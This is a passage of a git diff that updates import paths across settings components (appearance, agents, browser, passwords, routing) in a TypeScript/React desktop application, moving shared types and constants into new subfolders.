LOCAL_EXECUTION_HOST_ID } from '../../../../../../shared/execution-host/execution-host' import { useTranslate } from '@/i18n/use-translate' export type AgentPermissionsRenderer = (props: AgentPermissionsSettingProps) => React.ReactNode diff --git a/src/renderer/src/components/settings/agents/launch/AgentLaunchSettingsSection.tsx b/src/renderer/src/components/settings/agents/launch/AgentLaunchSettingsSection.tsx index b073122cdf5..39c465c5c97 100644 --- a/src/renderer/src/components/settings/agents/launch/AgentLaunchSettingsSection.tsx +++ b/src/renderer/src/components/settings/agents/launch/AgentLaunchSettingsSection.tsx @@ -11,7 +11,7 @@ import { projectAgentLaunchSettings, type AgentLaunchSettingsMutation } from '../../../../../../shared/agent-launch/choices/agent-launch-settings' -import type { GlobalSettings } from '../../../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../../../shared/settings/global-settings-types' import { AgentLaunchSettingsCatalog, type AgentPermissionsRenderer diff --git a/src/renderer/src/components/settings/agents/runtime/AgentRuntimeSetting.tsx b/src/renderer/src/components/settings/agents/runtime/AgentRuntimeSetting.tsx index 948c0d1ab47..8ca4dca7295 100644 --- a/src/renderer/src/components/settings/agents/runtime/AgentRuntimeSetting.tsx +++ b/src/renderer/src/components/settings/agents/runtime/AgentRuntimeSetting.tsx @@ -1,4 +1,4 @@ -import type { GlobalSettings } from '../../../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../../../shared/settings/global-settings-types' import { type GlobalWindowsRuntimeDefault, diff --git a/src/renderer/src/components/settings/agents/runtime/CodexTerminalServerIsolationSetting.tsx b/src/renderer/src/components/settings/agents/runtime/CodexTerminalServerIsolationSetting.tsx index e6501877276..e2457a584e1 100644 --- a/src/renderer/src/components/settings/agents/runtime/CodexTerminalServerIsolationSetting.tsx +++ b/src/renderer/src/components/settings/agents/runtime/CodexTerminalServerIsolationSetting.tsx @@ -1,4 +1,4 @@ -import type { GlobalSettings } from '../../../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../../../shared/settings/global-settings-types' import { isCodexSharedServerWarningEnabled, isCodexTerminalServerIsolationEnabled diff --git a/src/renderer/src/components/settings/agents/surfaces/AgentDefaultSurfaceSection.tsx b/src/renderer/src/components/settings/agents/surfaces/AgentDefaultSurfaceSection.tsx index e229b2ef7f9..61c9850b3ef 100644 --- a/src/renderer/src/components/settings/agents/surfaces/AgentDefaultSurfaceSection.tsx +++ b/src/renderer/src/components/settings/agents/surfaces/AgentDefaultSurfaceSection.tsx @@ -2,7 +2,7 @@ import { cancelSettingsListReveal } from '../../section-layout/settings-list-scr import { useEffect, useId, type JSX, type ReactNode } from 'react' import { Check, ChevronRight } from 'lucide-react' import { toast } from 'sonner' -import type { GlobalSettings } from '../../../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../../../shared/settings/global-settings-types' import type { AgentDefaultSurface } from '../../../../../../shared/native-chat/native-chat-appearance-settings' import { normalizeAgentDefaultSurface } from '../../../../../../shared/native-chat/native-chat-providers' import { LoadingSpinner } from '@/components/LoadingSpinner' diff --git a/src/renderer/src/components/settings/appearance/AppearanceInterfaceSection.fixture.tsx b/src/renderer/src/components/settings/appearance/AppearanceInterfaceSection.fixture.tsx index d52270c272a..8c11a3e6784 100644 --- a/src/renderer/src/components/settings/appearance/AppearanceInterfaceSection.fixture.tsx +++ b/src/renderer/src/components/settings/appearance/AppearanceInterfaceSection.fixture.tsx @@ -1,4 +1,4 @@ -import { getDefaultSettings } from '../../../../../shared/constants' +import { getDefaultSettings } from '../../../../../shared/orca-profiles/constants' import { defineFixture } from '../../../component-fixtures/component-fixture' import { SettingsGroup } from '../section-layout/SettingsGroup' import { AppearanceInterfaceSection } from './AppearanceInterfaceSection' diff --git a/src/renderer/src/components/settings/appearance/AppearanceInterfaceSection.tsx b/src/renderer/src/components/settings/appearance/AppearanceInterfaceSection.tsx index 4a01bbc2b39..4b52e22607d 100644 --- a/src/renderer/src/components/settings/appearance/AppearanceInterfaceSection.tsx +++ b/src/renderer/src/components/settings/appearance/AppearanceInterfaceSection.tsx @@ -1,6 +1,6 @@ import type React from 'react' -import type { GlobalSettings } from '../../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../../shared/settings/global-settings-types' import { UIZoomControl } from './UIZoomControl' import { SearchableSetting } from '../section-layout/SearchableSetting' import { ReduceVisualEffectsSetting } from './ReduceVisualEffectsSetting' @@ -12,7 +12,7 @@ import { useShortcutKeyComboDetails } from '@/hooks/useShortcutLabel' import { ShortcutHintList } from './AppearanceShortcutHintList' import { FontAutocomplete } from './fonts/FontAutocomplete' import { SettingsRow, SettingsSwitchRow } from '../form-controls/SettingsFormControls' -import { DEFAULT_APP_FONT_FAMILY } from '../../../../../shared/constants' +import { DEFAULT_APP_FONT_FAMILY } from '../../../../../shared/app-lifecycle/appearance/app-font-family' import { APPEARANCE_EDITOR_THEME_SETTING_ID, getCodeEditorThemeEntries, diff --git a/src/renderer/src/components/settings/appearance/AppearancePane.tsx b/src/renderer/src/components/settings/appearance/AppearancePane.tsx index 73a279f6c20..cd7575bcb8a 100644 --- a/src/renderer/src/components/settings/appearance/AppearancePane.tsx +++ b/src/renderer/src/components/settings/appearance/AppearancePane.tsx @@ -1,7 +1,7 @@ import type React from 'react' import { useLayoutEffect } from 'react' -import type { GlobalSettings } from '../../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../../shared/settings/global-settings-types' import { AppearanceInterfaceSection } from './AppearanceInterfaceSection' import { AppearanceWindowSidebarSection } from './AppearanceWindowSidebarSection' diff --git a/src/renderer/src/components/settings/appearance/AppearanceWindowSidebarSection.tsx b/src/renderer/src/components/settings/appearance/AppearanceWindowSidebarSection.tsx index ef369e5c14a..c0b97aa5c58 100644 --- a/src/renderer/src/components/settings/appearance/AppearanceWindowSidebarSection.tsx +++ b/src/renderer/src/components/settings/appearance/AppearanceWindowSidebarSection.tsx @@ -1,7 +1,7 @@ import type React from 'react' -import type { GlobalSettings } from '../../../../../shared/global-settings-types' -import type { StatusBarItem } from '../../../../../shared/ui-chrome-types' +import type { GlobalSettings } from '../../../../../shared/settings/global-settings-types' +import type { StatusBarItem } from '../../../../../shared/ui-chrome/ui-chrome-types' import type { FeatureInteractionId } from '../../../../../shared/feature-education/interactions/feature-interaction-catalog' import { SearchableSetting } from '../section-layout/SearchableSetting' import { SettingsGroupDisclosure } from '../section-layout/SettingsGroupDisclosure' diff --git a/src/renderer/src/components/settings/appearance/LeftSidebarAppearanceSetting.tsx b/src/renderer/src/components/settings/appearance/LeftSidebarAppearanceSetting.tsx index dbf8b33d36e..21fe0177b20 100644 --- a/src/renderer/src/components/settings/appearance/LeftSidebarAppearanceSetting.tsx +++ b/src/renderer/src/components/settings/appearance/LeftSidebarAppearanceSetting.tsx @@ -1,6 +1,6 @@ import type React from 'react' -import type { GlobalSettings } from '../../../../../shared/global-settings-types' -import type { LeftSidebarAppearanceMode } from '../../../../../shared/ui-chrome-types' +import type { GlobalSettings } from '../../../../../shared/settings/global-settings-types' +import type { LeftSidebarAppearanceMode } from '../../../../../shared/ui-chrome/ui-chrome-types' import { DEFAULT_LEFT_SIDEBAR_TINT_COLOR, DEFAULT_LEFT_SIDEBAR_TINT_OPACITY, diff --git a/src/renderer/src/components/settings/appearance/ReduceVisualEffectsSetting.tsx b/src/renderer/src/components/settings/appearance/ReduceVisualEffectsSetting.tsx index 405d83bead7..6338e68c44a 100644 --- a/src/renderer/src/components/settings/appearance/ReduceVisualEffectsSetting.tsx +++ b/src/renderer/src/components/settings/appearance/ReduceVisualEffectsSetting.tsx @@ -1,4 +1,4 @@ -import type { GlobalSettings } from '../../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../../shared/settings/global-settings-types' import type { SettingsSearchEntry } from '../search/settings-search' import { SearchableSetting } from '../section-layout/SearchableSetting' import { SettingsSwitchRow } from '../form-controls/SettingsFormControls' diff --git a/src/renderer/src/components/settings/appearance/WindowMaterialSetting.tsx b/src/renderer/src/components/settings/appearance/WindowMaterialSetting.tsx index 72be2467262..9fce0df3437 100644 --- a/src/renderer/src/components/settings/appearance/WindowMaterialSetting.tsx +++ b/src/renderer/src/components/settings/appearance/WindowMaterialSetting.tsx @@ -1,6 +1,6 @@ import { useState } from 'react' import { RotateCw } from 'lucide-react' -import type { GlobalSettings } from '../../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../../shared/settings/global-settings-types' import { hostWindowMaterial, resolveWindowMaterial, diff --git a/src/renderer/src/components/settings/appearance/appearance-status-bar-antigravity-toggle-search.ts b/src/renderer/src/components/settings/appearance/appearance-status-bar-antigravity-toggle-search.ts index bce702be39a..5a9f6304c04 100644 --- a/src/renderer/src/components/settings/appearance/appearance-status-bar-antigravity-toggle-search.ts +++ b/src/renderer/src/components/settings/appearance/appearance-status-bar-antigravity-toggle-search.ts @@ -1,4 +1,4 @@ -import type { StatusBarItem } from '../../../../../shared/ui-chrome-types' +import type { StatusBarItem } from '../../../../../shared/ui-chrome/ui-chrome-types' import { translate } from '@/i18n/i18n' import { translateSearchKeyword } from '../search/settings-search-keywords' diff --git a/src/renderer/src/components/settings/appearance/appearance-status-bar-cursor-toggle-search.ts b/src/renderer/src/components/settings/appearance/appearance-status-bar-cursor-toggle-search.ts index 46f16e679bb..894e20bbc4d 100644 --- a/src/renderer/src/components/settings/appearance/appearance-status-bar-cursor-toggle-search.ts +++ b/src/renderer/src/components/settings/appearance/appearance-status-bar-cursor-toggle-search.ts @@ -1,4 +1,4 @@ -import type { StatusBarItem } from '../../../../../shared/ui-chrome-types' +import type { StatusBarItem } from '../../../../../shared/ui-chrome/ui-chrome-types' import { translate } from '@/i18n/i18n' import { translateSearchKeyword } from '../search/settings-search-keywords' diff --git a/src/renderer/src/components/settings/appearance/appearance-status-bar-grok-toggle-search.ts b/src/renderer/src/components/settings/appearance/appearance-status-bar-grok-toggle-search.ts index a1d4ec2c124..3e6fb2ec3d1 100644 --- a/src/renderer/src/components/settings/appearance/appearance-status-bar-grok-toggle-search.ts +++ b/src/renderer/src/components/settings/appearance/appearance-status-bar-grok-toggle-search.ts @@ -1,4 +1,4 @@ -import type { StatusBarItem } from '../../../../../shared/ui-chrome-types' +import type { StatusBarItem } from '../../../../../shared/ui-chrome/ui-chrome-types' import { translate } from '@/i18n/i18n' import { translateSearchKeyword } from '../search/settings-search-keywords' diff --git a/src/renderer/src/components/settings/appearance/appearance-status-bar-minimax-toggle-search.ts b/src/renderer/src/components/settings/appearance/appearance-status-bar-minimax-toggle-search.ts index adf2b859bc5..a3e26aa0010 100644 --- a/src/renderer/src/components/settings/appearance/appearance-status-bar-minimax-toggle-search.ts +++ b/src/renderer/src/components/settings/appearance/appearance-status-bar-minimax-toggle-search.ts @@ -1,4 +1,4 @@ -import type { StatusBarItem } from '../../../../../shared/ui-chrome-types' +import type { StatusBarItem } from '../../../../../shared/ui-chrome/ui-chrome-types' import { translate } from '@/i18n/i18n' import { translateSearchKeyword } from '../search/settings-search-keywords' diff --git a/src/renderer/src/components/settings/appearance/appearance-status-bar-muse-toggle-search.ts b/src/renderer/src/components/settings/appearance/appearance-status-bar-muse-toggle-search.ts index 042f0abdf95..42a48b8edbd 100644 --- a/src/renderer/src/components/settings/appearance/appearance-status-bar-muse-toggle-search.ts +++ b/src/renderer/src/components/settings/appearance/appearance-status-bar-muse-toggle-search.ts @@ -1,4 +1,4 @@ -import type { StatusBarItem } from '../../../../../shared/ui-chrome-types' +import type { StatusBarItem } from '../../../../../shared/ui-chrome/ui-chrome-types' import { translate } from '@/i18n/i18n' import { translateSearchKeyword } from '../search/settings-search-keywords' diff --git a/src/renderer/src/components/settings/appearance/appearance-status-bar-search.ts b/src/renderer/src/components/settings/appearance/appearance-status-bar-search.ts index d1228c4f26b..511b83c057d 100644 --- a/src/renderer/src/components/settings/appearance/appearance-status-bar-search.ts +++ b/src/renderer/src/components/settings/appearance/appearance-status-bar-search.ts @@ -1,4 +1,4 @@ -import type { StatusBarItem } from '../../../../../shared/ui-chrome-types' +import type { StatusBarItem } from '../../../../../shared/ui-chrome/ui-chrome-types' import { createLocalizedCatalog } from '@/i18n/localized-catalog' import { translate } from '@/i18n/i18n' import { translateSearchKeyword } from '../search/settings-search-keywords' diff --git a/src/renderer/src/components/settings/appearance/appearance-status-bar-zcode-toggle-search.ts b/src/renderer/src/components/settings/appearance/appearance-status-bar-zcode-toggle-search.ts index a661e2d480f..345d98bf5dd 100644 --- a/src/renderer/src/components/settings/appearance/appearance-status-bar-zcode-toggle-search.ts +++ b/src/renderer/src/components/settings/appearance/appearance-status-bar-zcode-toggle-search.ts @@ -1,4 +1,4 @@ -import type { StatusBarItem } from '../../../../../shared/ui-chrome-types' +import type { StatusBarItem } from '../../../../../shared/ui-chrome/ui-chrome-types' import { translate } from '@/i18n/i18n' import { translateSearchKeyword } from '../search/settings-search-keywords' diff --git a/src/renderer/src/components/settings/appearance/chat/AppearanceChatSection.tsx b/src/renderer/src/components/settings/appearance/chat/AppearanceChatSection.tsx index 6d6f765410b..43d74a6aabc 100644 --- a/src/renderer/src/components/settings/appearance/chat/AppearanceChatSection.tsx +++ b/src/renderer/src/components/settings/appearance/chat/AppearanceChatSection.tsx @@ -24,7 +24,7 @@ import { getChatWidthOptions } from './chat-appearance-search' import { writeNativeChatAppearance } from '../../../native-chat/appearance/native-chat-appearance-write' -import type { GlobalSettings } from '../../../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../../../shared/settings/global-settings-types' export type AppearanceChatSectionProps = { settings: GlobalSettings diff --git a/src/renderer/src/components/settings/appearance/chat/ChatFontFamilySetting.tsx b/src/renderer/src/components/settings/appearance/chat/ChatFontFamilySetting.tsx index 55034006c3e..5b7cd82ba83 100644 --- a/src/renderer/src/components/settings/appearance/chat/ChatFontFamilySetting.tsx +++ b/src/renderer/src/components/settings/appearance/chat/ChatFontFamilySetting.tsx @@ -1,5 +1,5 @@ import { useState } from 'react' -import type { GlobalSettings } from '../../../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../../../shared/settings/global-settings-types' import { resolveNativeChatAppearanceSettings } from '../../../../../../shared/native-chat/native-chat-appearance-settings' import { useTranslate } from '@/i18n/use-translate' import { diff --git a/src/renderer/src/components/settings/appearance/fonts/font-suggestions.ts b/src/renderer/src/components/settings/appearance/fonts/font-suggestions.ts index c59cc78c41b..83e91b86906 100644 --- a/src/renderer/src/components/settings/appearance/fonts/font-suggestions.ts +++ b/src/renderer/src/components/settings/appearance/fonts/font-suggestions.ts @@ -1,4 +1,4 @@ -import { DEFAULT_APP_FONT_FAMILY } from '../../../../../../shared/constants' +import { DEFAULT_APP_FONT_FAMILY } from '../../../../../../shared/app-lifecycle/appearance/app-font-family' export function mergeFontSuggestions( systemFonts: readonly string[], diff --git a/src/renderer/src/components/settings/appearance/themes/AppearanceThemeControl.tsx b/src/renderer/src/components/settings/appearance/themes/AppearanceThemeControl.tsx index 23afa7083fe..e503f31159a 100644 --- a/src/renderer/src/components/settings/appearance/themes/AppearanceThemeControl.tsx +++ b/src/renderer/src/components/settings/appearance/themes/AppearanceThemeControl.tsx @@ -1,6 +1,6 @@ import type React from 'react' import { Loader2, Store, Zap } from 'lucide-react' -import type { GlobalSettings } from '../../../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../../../shared/settings/global-settings-types' import type { PluginThemeRegistration } from '../../../../../../shared/plugins/artifacts/plugin-theme-artifact' import { editorThemeSlotUpdate, diff --git a/src/renderer/src/components/settings/artifacts/ArtifactsSettingsPane.tsx b/src/renderer/src/components/settings/artifacts/ArtifactsSettingsPane.tsx index cbea3917d12..1b2faa1bab6 100644 --- a/src/renderer/src/components/settings/artifacts/ArtifactsSettingsPane.tsx +++ b/src/renderer/src/components/settings/artifacts/ArtifactsSettingsPane.tsx @@ -1,5 +1,5 @@ import { ArrowRight, Files } from 'lucide-react' -import type { GlobalSettings } from '../../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../../shared/settings/global-settings-types' import { Button } from '@/components/ui/button' import { SettingsSwitchRow } from '../form-controls/SettingsFormControls' import { SettingsGroup } from '../section-layout/SettingsGroup' diff --git a/src/renderer/src/components/settings/automations/AutomationsSettingsPane.tsx b/src/renderer/src/components/settings/automations/AutomationsSettingsPane.tsx index b392ef74272..afb7e1e4fc7 100644 --- a/src/renderer/src/components/settings/automations/AutomationsSettingsPane.tsx +++ b/src/renderer/src/components/settings/automations/AutomationsSettingsPane.tsx @@ -1,5 +1,5 @@ import { ArrowRight, CalendarClock } from 'lucide-react' -import type { GlobalSettings } from '../../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../../shared/settings/global-settings-types' import { Button } from '@/components/ui/button' import { SettingsSwitchRow } from '../form-controls/SettingsFormControls' import { SettingsGroup } from '../section-layout/SettingsGroup' diff --git a/src/renderer/src/components/settings/browser/BrowserHomePageSetting.tsx b/src/renderer/src/components/settings/browser/BrowserHomePageSetting.tsx index 1ede7836b4b..f737f45f6ed 100644 --- a/src/renderer/src/components/settings/browser/BrowserHomePageSetting.tsx +++ b/src/renderer/src/components/settings/browser/BrowserHomePageSetting.tsx @@ -1,5 +1,5 @@ import { toast } from 'sonner' -import '../../../../../shared/constants' +import '../../../../../shared/orca-profiles/constants' import { ORCA_BROWSER_BLANK_URL } from '../../../../../shared/browser/browser-blank-page' import { normalizeBrowserNavigationUrl } from '../../../../../shared/browser/navigation/browser-url' import { Button } from '../../ui/button' diff --git a/src/renderer/src/components/settings/browser/BrowserMemorySaverSetting.fixture.tsx b/src/renderer/src/components/settings/browser/BrowserMemorySaverSetting.fixture.tsx index 800554c5d88..56820742509 100644 --- a/src/renderer/src/components/settings/browser/BrowserMemorySaverSetting.fixture.tsx +++ b/src/renderer/src/components/settings/browser/BrowserMemorySaverSetting.fixture.tsx @@ -1,5 +1,5 @@ import { defineFixture } from '../../../component-fixtures/component-fixture' -import { getDefaultSettings } from '../../../../../shared/constants' +import { getDefaultSettings } from '../../../../../shared/orca-profiles/constants' import { useAppStore } from '../../../store' import { SettingsGroup } from '../section-layout/SettingsGroup' import { BrowserDefaultZoomSetting } from './BrowserDefaultZoomSetting' diff --git a/src/renderer/src/components/settings/browser/BrowserMemorySaverSetting.tsx b/src/renderer/src/components/settings/browser/BrowserMemorySaverSetting.tsx index ecd355b84ab..89b56491140 100644 --- a/src/renderer/src/components/settings/browser/BrowserMemorySaverSetting.tsx +++ b/src/renderer/src/components/settings/browser/BrowserMemorySaverSetting.tsx @@ -1,4 +1,4 @@ -import type { GlobalSettings } from '../../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../../shared/settings/global-settings-types' import { MAX_BROWSER_MEMORY_SAVER_HOURS, MIN_BROWSER_MEMORY_SAVER_HOURS, diff --git a/src/renderer/src/components/settings/browser/BrowserPane.tsx b/src/renderer/src/components/settings/browser/BrowserPane.tsx index 6e01b1e1e54..20d6d6a2643 100644 --- a/src/renderer/src/components/settings/browser/BrowserPane.tsx +++ b/src/renderer/src/components/settings/browser/BrowserPane.tsx @@ -1,5 +1,5 @@ import { useCallback, useEffect, useMemo, useRef, useState, type MutableRefObject } from 'react' -import type { GlobalSettings } from '../../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../../shared/settings/global-settings-types' import { useAppStore } from '../../../store/index' import { matchesSettingsSearch } from '../search/settings-search' import { getBrowserPaneSearchEntries } from './browser-search' @@ -38,7 +38,7 @@ import { getSettingsFocusedExecutionHostId, LOCAL_EXECUTION_HOST_ID, type ExecutionHostId -} from '../../../../../shared/execution-host' +} from '../../../../../shared/execution-host/execution-host' import { isMacUserAgent } from '@/app-shell/platform/user-agent-platform' import { isWebClientLocation } from '@/app-shell/platform/web-client-location' import { useTranslate } from '@/i18n/use-translate' diff --git a/src/renderer/src/components/settings/browser/BrowserSitePermissionsSetting.tsx b/src/renderer/src/components/settings/browser/BrowserSitePermissionsSetting.tsx index 6e1c1eaac54..3ed76910801 100644 --- a/src/renderer/src/components/settings/browser/BrowserSitePermissionsSetting.tsx +++ b/src/renderer/src/components/settings/browser/BrowserSitePermissionsSetting.tsx @@ -19,7 +19,7 @@ import { import { SearchableSetting } from '../section-layout/SearchableSetting' import { SettingsRow } from '../form-controls/SettingsFormControls' import { getBrowserSitePermissionsSearchEntry } from './browser-site-permissions-search' -import { LOCAL_EXECUTION_HOST_ID } from '../../../../../shared/execution-host' +import { LOCAL_EXECUTION_HOST_ID } from '../../../../../shared/execution-host/execution-host' import { useAppStore } from '../../../store/index' import { useTranslate, type Translate } from '@/i18n/use-translate' import { translateBrowserSessionProfileLabel } from '@/lib/browser/profiles/browser-session-profile-label' diff --git a/src/renderer/src/components/settings/browser/BrowserUserAgentSetting.tsx b/src/renderer/src/components/settings/browser/BrowserUserAgentSetting.tsx index 813239fa2cc..d028fe7dbeb 100644 --- a/src/renderer/src/components/settings/browser/BrowserUserAgentSetting.tsx +++ b/src/renderer/src/components/settings/browser/BrowserUserAgentSetting.tsx @@ -3,7 +3,10 @@ import type { BrowserIdentityModeStatus, BrowserUserAgentMode } from '../../../../../shared/browser/identity/browser-user-agent-mode' -import { LOCAL_EXECUTION_HOST_ID, type ExecutionHostId } from '../../../../../shared/execution-host' +import { + LOCAL_EXECUTION_HOST_ID, + type ExecutionHostId +} from '../../../../../shared/execution-host/execution-host' import { BROWSER_USER_AGENT_SETTINGS_TARGET_ID } from '@/components/settings/navigation/settings-navigation-types' import { useTranslate } from '@/i18n/use-translate' import { SearchableSetting } from '../section-layout/SearchableSetting' diff --git a/src/renderer/src/components/settings/browser/extensions/BrowserExtensionsSection.tsx b/src/renderer/src/components/settings/browser/extensions/BrowserExtensionsSection.tsx index a58fc1088e0..af093e8e17c 100644 --- a/src/renderer/src/components/settings/browser/extensions/BrowserExtensionsSection.tsx +++ b/src/renderer/src/components/settings/browser/extensions/BrowserExtensionsSection.tsx @@ -1,7 +1,7 @@ import { useEffect, useState } from 'react' import { FolderOpen, Puzzle, RotateCw, Settings2, Trash2 } from 'lucide-react' import { toast } from 'sonner' -import type { GlobalSettings } from '../../../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../../../shared/settings/global-settings-types' import type { BrowserExtensionActionResult, BrowserExtensionListing, diff --git a/src/renderer/src/components/settings/browser/passwords/BrowserPasswordPreferences.tsx b/src/renderer/src/components/settings/browser/passwords/BrowserPasswordPreferences.tsx index 99430c8c4f5..bbd6b86597a 100644 --- a/src/renderer/src/components/settings/browser/passwords/BrowserPasswordPreferences.tsx +++ b/src/renderer/src/components/settings/browser/passwords/BrowserPasswordPreferences.tsx @@ -1,6 +1,6 @@ import { useTranslate } from '@/i18n/use-translate' import type { BrowserPasswordReauthMethod } from '../../../../../../shared/browser/passwords/browser-passwords-types' -import type { GlobalSettings } from '../../../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../../../shared/settings/global-settings-types' import { SettingsSwitchRow } from '../../form-controls/SettingsFormControls' /** App-wide save and fill behaviour; the vault itself is per profile. */ diff --git a/src/renderer/src/components/settings/browser/passwords/BrowserPasswordsSection.tsx b/src/renderer/src/components/settings/browser/passwords/BrowserPasswordsSection.tsx index 219c8ff8855..e67781d9126 100644 --- a/src/renderer/src/components/settings/browser/passwords/BrowserPasswordsSection.tsx +++ b/src/renderer/src/components/settings/browser/passwords/BrowserPasswordsSection.tsx @@ -11,7 +11,7 @@ import type { BrowserPasswordImportResult, BrowserPasswordsStatus } from '../../../../../../shared/browser/passwords/browser-passwords-types' -import type { GlobalSettings } from '../../../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../../../shared/settings/global-settings-types' import { SearchableSetting } from '../../section-layout/SearchableSetting' import { SettingsRow } from '../../form-controls/SettingsFormControls' import { BrowserPasswordPreferences } from './BrowserPasswordPreferences' diff --git a/src/renderer/src/components/settings/browser/profiles/BrowserProfileRow.tsx b/src/renderer/src/components/settings/browser/profiles/BrowserProfileRow.tsx index 5a818c788d5..b40c2886105 100644 --- a/src/renderer/src/components/settings/browser/profiles/BrowserProfileRow.tsx +++ b/src/renderer/src/components/settings/browser/profiles/BrowserProfileRow.tsx @@ -22,7 +22,7 @@ import { useConfirmationDialog } from '../../../confirmation-dialog-context' import { BrowserCookieImportDisclosure } from '../../../BrowserCookieImportDisclosure' import { BrowserCookieImportMachineNotice } from '../../../BrowserCookieImportMachineNotice' import { useAppStore } from '../../../../store/index' -import '../../../../../../shared/constants' +import '../../../../../../shared/orca-profiles/constants' import { BROWSER_FAMILY_LABELS } from '../../../../../../shared/browser/browser-family-labels' import { useTranslate } from '@/i18n/use-translate' import { browserCookieImportFailureText } from '@/lib/browser/cookies/browser-cookie-import-error-copy' diff --git a/src/renderer/src/components/settings/browser/profiles/BrowserProfileScopeSetting.tsx b/src/renderer/src/components/settings/browser/profiles/BrowserProfileScopeSetting.tsx index 50bc7c5d2e0..e78e9df681e 100644 --- a/src/renderer/src/components/settings/browser/profiles/BrowserProfileScopeSetting.tsx +++ b/src/renderer/src/components/settings/browser/profiles/BrowserProfileScopeSetting.tsx @@ -1,5 +1,5 @@ import { useTranslate } from '@/i18n/use-translate' -import type { GlobalSettings } from '../../../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../../../shared/settings/global-settings-types' import { SearchableSetting } from '../../section-layout/SearchableSetting' import { SettingsRow, SettingsSegmentedControl } from '../../form-controls/SettingsFormControls' import { getBrowserProfileScopeSearchEntry } from './browser-profile-scope-search' diff --git a/src/renderer/src/components/settings/browser/profiles/BrowserSessionCookiesSection.tsx b/src/renderer/src/components/settings/browser/profiles/BrowserSessionCookiesSection.tsx index 1685b527757..95bd1e5a50e 100644 --- a/src/renderer/src/components/settings/browser/profiles/BrowserSessionCookiesSection.tsx +++ b/src/renderer/src/components/settings/browser/profiles/BrowserSessionCookiesSection.tsx @@ -6,7 +6,7 @@ import { Label } from '../../../ui/label' import { Select, SelectContent, SelectItem, SelectTrigger, SelectValue } from '../../../ui/select' import { SearchableSetting } from '../../section-layout/SearchableSetting' import { BrowserProfileRow, type BrowserProfileRowProps } from './BrowserProfileRow' -import type { ExecutionHostId } from '../../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../../shared/execution-host/execution-host' import { useTranslate } from '@/i18n/use-translate' import { translateSearchKeyword } from '../../search/settings-search-keywords' diff --git a/src/renderer/src/components/settings/browser/profiles/browser-session-host-selection.ts b/src/renderer/src/components/settings/browser/profiles/browser-session-host-selection.ts index ee50fcec852..b33b9735b0d 100644 --- a/src/renderer/src/components/settings/browser/profiles/browser-session-host-selection.ts +++ b/src/renderer/src/components/settings/browser/profiles/browser-session-host-selection.ts @@ -1,7 +1,7 @@ import { LOCAL_EXECUTION_HOST_ID, type ExecutionHostId -} from '../../../../../../shared/execution-host' +} from '../../../../../../shared/execution-host/execution-host' export function resolveAvailableBrowserSessionHostId( options: readonly { id: ExecutionHostId }[], diff --git a/src/renderer/src/components/settings/browser/routing/BrowserClientHostedRemoteSetting.tsx b/src/renderer/src/components/settings/browser/routing/BrowserClientHostedRemoteSetting.tsx index ebace5afb7e..c3a2a46b416 100644 --- a/src/renderer/src/components/settings/browser/routing/BrowserClientHostedRemoteSetting.tsx +++ b/src/renderer/src/components/settings/browser/routing/BrowserClientHostedRemoteSetting.tsx @@ -1,5 +1,5 @@ import { useTranslate } from '@/i18n/use-translate' -import type { GlobalSettings } from '../../../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../../../shared/settings/global-settings-types' import { BROWSER_CLIENT_HOSTED_REMOTE_SETTINGS_TARGET_ID } from '@/components/settings/navigation/settings-navigation-types' import { SearchableSetting } from '../../section-layout/SearchableSetting' import { SettingsRow, SettingsSegmentedControl } from '../../form-controls/SettingsFormControls' diff --git a/src/renderer/src/components/settings/browser/routing/BrowserLinkRoutingBackgroundSetting.tsx b/src/renderer/src/components/settings/browser/routing/BrowserLinkRoutingBackgroundSetting.tsx index a005ccba21c..9efac9c2a56 100644 --- a/src/renderer/src/components/settings/browser/routing/BrowserLinkRoutingBackgroundSetting.tsx +++ b/src/renderer/src/components/settings/browser/routing/BrowserLinkRoutingBackgroundSetting.tsx @@ -1,4 +1,4 @@ -import type { GlobalSettings } from '../../../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../../../shared/settings/global-settings-types' import { SearchableSetting } from '../../section-layout/SearchableSetting' import { SettingsSwitchRow } from '../../form-controls/SettingsFormControls' import { getLinkRoutingBackgroundSearchEntry } from './browser-link-routing-copy' diff --git a/src/renderer/src/components/settings/browser/routing/BrowserLinkRoutingModifierSetting.tsx b/src/renderer/src/components/settings/browser/routing/BrowserLinkRoutingModifierSetting.tsx index a11a90c442a..16de3cb9e74 100644 --- a/src/renderer/src/components/settings/browser/routing/BrowserLinkRoutingModifierSetting.tsx +++ b/src/renderer/src/components/settings/browser/routing/BrowserLinkRoutingModifierSetting.tsx @@ -1,4 +1,4 @@ -import type { GlobalSettings } from '../../../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../../../shared/settings/global-settings-types' import { SearchableSetting } from '../../section-layout/SearchableSetting' import { SettingsSwitchRow } from '../../form-controls/SettingsFormControls' import { diff --git a/src/renderer/src/components/settings/browser/routing/BrowserLinkRoutingSetting.tsx b/src/renderer/src/components/settings/browser/routing/BrowserLinkRoutingSetting.tsx index b0f726a6b7a..33d191481a7 100644 --- a/src/renderer/src/components/settings/browser/routing/BrowserLinkRoutingSetting.tsx +++ b/src/renderer/src/components/settings/browser/routing/BrowserLinkRoutingSetting.tsx @@ -1,4 +1,4 @@ -import type { GlobalSettings } from '../../../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../../../shared/settings/global-settings-types' import { Label } from '../../../ui/label' import { Switch } from '../../../ui/switch' import { SearchableSetting } from '../../section-layout/SearchableSetting' diff --git 